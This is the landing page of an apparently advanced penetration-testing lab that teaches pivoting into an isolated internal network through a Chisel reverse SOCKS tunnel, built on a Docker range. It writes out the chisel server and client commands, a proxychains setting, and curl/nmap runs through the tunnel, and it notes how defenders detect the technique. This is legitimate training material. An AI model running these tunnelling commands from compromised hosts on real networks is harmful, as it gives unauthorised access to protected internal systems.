Lion Cipher Lab

Pivot into an unreachable internal network with a Chisel reverse SOCKS tunnel

• Penetration Testing / Red Team
• Advanced
• ~75 min
• Free · no account required

Why it matters

Almost no real network is flat. You phish or exploit your way onto ONE machine, and the thing you actually want -- a database, an admin panel, a domain controller -- sits on a segment your attacker box cannot even route to. The skill that turns a single foothold into access to everything behind it is PIVOTING: making the host you already control relay your traffic into the network only it can reach. This lab teaches the pivot you reach for when the easy one is not available. Lion Cipher already has a lab that pivots with an SSH dynamic tunnel, but that requires SSH ACCESS to the pivot and…

What you'll learn

• explaining what a PIVOT is in plain words: you have compromised one host (the pivot) that sits on two networks, and you want to reach a second network that your own attacker box has no route to -- so you make the pivot relay your traffic
• building a realistic three-node pivot range entirely in Docker: an attacker box and a dual-homed pivot sharing an 'external' network, plus an internal-only service that ONLY the pivot can reach on a second 'internal' network your attacker box is deliberately NOT connected to
• proving the BEFORE state honestly -- `curl http://<internal-ip>` from the attacker box hangs and fails because there is genuinely no route, not because a firewall rule is guessing
• understanding Chisel: a single Go binary that tunnels TCP/UDP over HTTP/WebSocket, and the difference between its FORWARD mode (client opens a local port that reaches through the server) and its REVERSE mode (the server exposes a port whose traffic egresses through the client)
• running the reverse SOCKS pattern for real: `chisel server --reverse -p 8080` on the attacker and `chisel client <attacker>:8080 R:socks` on the pivot, so the PIVOT dials OUT to you and a SOCKS5 proxy appears on 127.0.0.1:1080 on YOUR box
• configuring proxychains-ng (edit /etc/proxychains4.conf to `socks5 127.0.0.1 1080`) and pushing curl and nmap THROUGH the tunnel to enumerate and reach hosts on the internal network
• proving the AFTER state and measuring the change: `proxychains curl http://<internal-ip>` now returns the internal admin page -- same target, same command shape, reachability flipped because the traffic egressed through the pivot
• the judgment of WHEN to reach for Chisel over the SSH-tunnel approach: no SSH access to the pivot, only outbound HTTP/HTTPS is allowed off the network, or the pivot is behind NAT with no inbound port you can connect to -- all cases where SSH dynamic forwarding cannot even start
• the honest negative: a chisel client is a long-lived outbound TLS/WebSocket connection to an external host that NDR, proxy logs and egress filtering can flag; it is NOT stealthy across inspected egress, and reverse mode needs the pivot to be able to REACH you (a reachable listener or redirector), which is its own operational cost
• placing the technique on MITRE ATT&CK -- T1090 (Proxy) and T1572 (Protocol Tunnelling) -- so you understand exactly what a defender is hunting for when they hunt for this

Steps in this lab

1. First: what a pivot is, and why this one is different from the SSH tunnel
2. The words you need: forward vs reverse, SOCKS, and why 'reverse' is the whole trick
3. Build the range: two Docker networks and a genuinely unreachable internal service
4. Prove the BEFORE: curl the internal service and watch it fail for lack of a route
5. Get chisel onto both boxes
6. Start the reverse tunnel: server on the attacker, client dials OUT from the pivot
7. Point proxychains at the tunnel and reach the internal service (the AFTER)
8. The honest negative, when to pick this over the SSH tunnel, and how a pro does it

Open the full interactive lab →